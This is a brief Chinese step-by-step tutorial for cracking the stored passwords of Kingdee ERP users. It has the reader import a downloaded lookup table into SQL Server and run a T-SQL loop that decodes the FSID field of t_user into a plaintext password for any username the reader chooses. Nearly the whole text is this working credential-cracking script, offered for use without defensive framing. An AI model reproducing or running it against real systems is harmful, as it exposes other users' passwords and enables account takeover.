1、第一步：我们需要下载如下图的金蝶用户密码破解对照表，然后将其导入到sqlserver
2、第二步:定义变量declare @before nvarchar(320)declare @password nvarchar(100)declare @count intdeclare @c intdeclare @mw nvarchar(100)declare @fname nvarchar(100)
3、第三部:初始化变量，查询的用户名自行修改set @fname='zl' --用户名select @before=') F ", ,P T #8 *P!D &D 80!N &@ <0 C '+''''+'< : !M &4 'select @password=replace(replace(replace(FSID,@before,''),' ','□'),')0','') from t_user where FName=@fnameSET @count=1set @c=1set @mw=''
4、第四步:循环查询密码while @count<LEN(@password)beginif @c%6=1beginselect @mw=@mw+mw from test.dbo.t_passwordpj where one=(SUBSTRING(@password,@count,3))endelse if @c%6=2beginselect @mw=@mw+mw from test.dbo.t_passwordpj where two=(SUBSTRING(@password,@count,3))endelse if @c%6=3beginselect @mw=@mw+mw from test.dbo.t_passwordpj where three=(SUBSTRING(@password,@count,3))endelse if @c%6=4beginselect @mw=@mw+mw from test.dbo.t_passwordpj where four=(SUBSTRING(@password,@count,3))endelse if @c%6=5beginselect @mw=@mw+mw from test.dbo.t_passwordpj where five=(SUBSTRING(@password,@count,3))endelse if @c%6=0beginselect @mw=@mw+mw from test.dbo.t_passwordpj where six=(SUBSTRING(@password,@count,3))endset @c=@c+1set @count = @count+3end
5、第五步:密码输出select @mw
6、第六步:执行脚本，获取密码
